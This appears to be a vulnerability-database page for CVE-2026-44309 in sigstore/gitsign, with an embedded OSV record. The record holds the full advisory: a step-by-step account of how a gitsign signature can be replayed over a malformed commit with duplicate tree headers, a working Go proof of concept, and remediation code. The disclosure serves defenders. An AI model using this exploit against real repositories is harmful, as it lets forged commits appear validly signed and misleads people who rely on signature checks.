CVE-2026-44309: Github.com/sigstore/gitsign Gitsign Verify Accepts Signatures Over Vulnerability
MODERATECVE-2026-44309 is a MODERATE (CVSS 5.3) gitsign verify accepts signatures over vulnerability (CWE-295: Improper Certificate Validation) affecting Github.com/sigstore/gitsign libraries in the Go ecosystem. The issue involves gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits. Remediation is available by upgrading affected packages to version 0.16.0.
CVE-2026-44309 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-44309
To remediate this vulnerability, upgrade all affected Github.com/sigstore/gitsign dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/sigstore/gitsign to 0.16.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/sigstore/gitsign
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-44309, inspect your project dependencies for Github.com/sigstore/gitsign:
inspect dependencies for github.com/sigstore/gitsign
Analyze the terminal output to locate any version of Github.com/sigstore/gitsign in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.16.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-295: Improper Certificate Validation, where the product does not validate, or incorrectly validates, a certificate. In Github.com/sigstore/gitsign, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44309 Affected Github.com/sigstore/gitsign Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/sigstore/gitsign
|
Go |
< 0.16.0
|
0.16.0
|
References
Frequently Asked Questions
What is CVE-2026-44309?
Which Github.com/sigstore/gitsign versions are affected?
What version fixes CVE-2026-44309?
Is github.com/sigstore/gitsign affected?
What is the CVSS score of CVE-2026-44309?
What CWE is associated with CVE-2026-44309?
How can I check Go dependencies for CVE-2026-44309?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7rmh-48mx-2vwc",
"modified" : "2026-05-15T23:49:58Z",
"published" : "2026-05-08T22:38:50Z",
"aliases" : [ "CVE-2026-44309" ],
"summary" : "gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits",
"details" : "## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None — the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged — impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` — `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77)\n- `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63–92\nc, err := repo.CommitObject(*h) // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form\n return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76–95\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137–142\n// We're making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don't match the unmarshal type.\n// We should see if there's a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n encoder, err = commit(obj, sig)\n```\n\ngo-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56–70\ndetached := len(args) >= 2\nif detached {\n data, sig, err = readDetached(s, args...) // raw bytes from git-core\n} else {\n sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1 ← Alice's real tree (what go-git and gitsign see)\nauthor Alice <alice@corp.com> ...\ncommitter Alice <alice@corp.com> ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n <Alice's valid signature over T1 canonical form>\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2 ← attacker's malicious tree (git-core uses this)\ntree T1 ← Alice's tree (go-git uses this)\nauthor Alice <alice@corp.com> ...\ncommitter Alice <alice@corp.com> ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n <Alice's valid signature — replayed verbatim>\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n \"context\"\n \"crypto\"\n \"crypto/ecdsa\"\n \"crypto/elliptic\"\n \"crypto/rand\"\n \"crypto/x509\"\n \"crypto/x509/pkix\"\n \"fmt\"\n \"io\"\n \"math/big\"\n \"strings\"\n \"time\"\n\n \"github.com/go-git/go-git/v5/plumbing\"\n \"github.com/go-git/go-git/v5/plumbing/object\"\n \"github.com/go-git/go-git/v5/storage/memory\"\n \"github.com/sigstore/gitsign/internal/signature\"\n ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n cert *x509.Certificate\n priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }\nfunc (i *identity) Delete() error { return nil }\nfunc (i *identity) Close() {}\n\nfunc indentSig(sig string) string {\n sig = strings.TrimSuffix(sig, \"\\n\")\n lines := strings.Split(sig, \"\\n\")\n out := \"gpgsig \" + lines[0] + \"\\n\"\n for _, ln := range lines[1:] {\n out += \" \" + ln + \"\\n\"\n }\n return out\n}\n\nfunc main() {\n priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n tmpl := &x509.Certificate{\n SerialNumber: big.NewInt(1),\n Subject: pkix.Name{CommonName: \"attacker\"},\n NotBefore: time.Now().Add(-time.Minute),\n NotAfter: time.Now().Add(time.Hour),\n KeyUsage: x509.KeyUsageDigitalSignature,\n ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n BasicConstraintsValid: true,\n }\n rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)\n cert, _ := x509.ParseCertificate(rawCert)\n\n treeFirst := strings.Repeat(\"a\", 40) // git-core uses this\n treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n author := \"author Eve <eve@example.com> 1700000000 +0000\"\n committer := \"committer Eve <eve@example.com> 1700000000 +0000\"\n msg := \"msg\\n\"\n\n // Sign the go-git canonical form (second tree only)\n canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n id := &identity{cert: cert, priv: priv}\n resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n if err != nil {\n panic(err)\n }\n\n // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n st := memory.NewStorage()\n enc := st.NewEncodedObject()\n enc.SetType(plumbing.CommitObject)\n w, _ := enc.Writer()\n _, _ = w.Write([]byte(malformedRaw))\n _ = w.Close()\n c, err := object.DecodeCommit(st, enc)\n if err != nil {\n panic(err)\n }\n\n // Reproduce what gitsign verify does\n out := new(plumbing.MemoryObject)\n if err := c.EncodeWithoutSignature(out); err != nil {\n panic(err)\n }\n r, _ := out.Reader()\n verifyData, _ := io.ReadAll(r)\n\n roots := x509.NewCertPool()\n roots.AddCert(cert)\n v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n rawObj := &plumbing.MemoryObject{}\n rawObj.SetType(plumbing.CommitObject)\n _, _ = rawObj.Write([]byte(malformedRaw))\n\n fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n fmt.Println(\"CERT_VERIFY_ERROR:\", verr) // nil = signature accepted\n fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL: true\nCERT_VERIFY_ERROR: <nil> ← signature accepted\nOBJECTHASH_ERROR: <nil>\nOBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>\nRAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go — replace lines 63–92\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n return err\n}\n// data is now the raw bytes without the gpgsig header — identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data []byte) error {\n seen := map[string]bool{}\n for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n if idx := bytes.IndexByte(line, ' '); idx > 0 {\n key := string(line[:idx])\n if seen[key] {\n return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n }\n seen[key] = true\n }\n if len(line) == 0 {\n break // end of headers\n }\n }\n return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/sigstore/gitsign"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.16.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44309"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/sigstore/gitsign"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-295", "CWE-347" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-08T22:38:50Z",
"nvd_published_at" : "2026-05-15T17:16:47Z"
}
}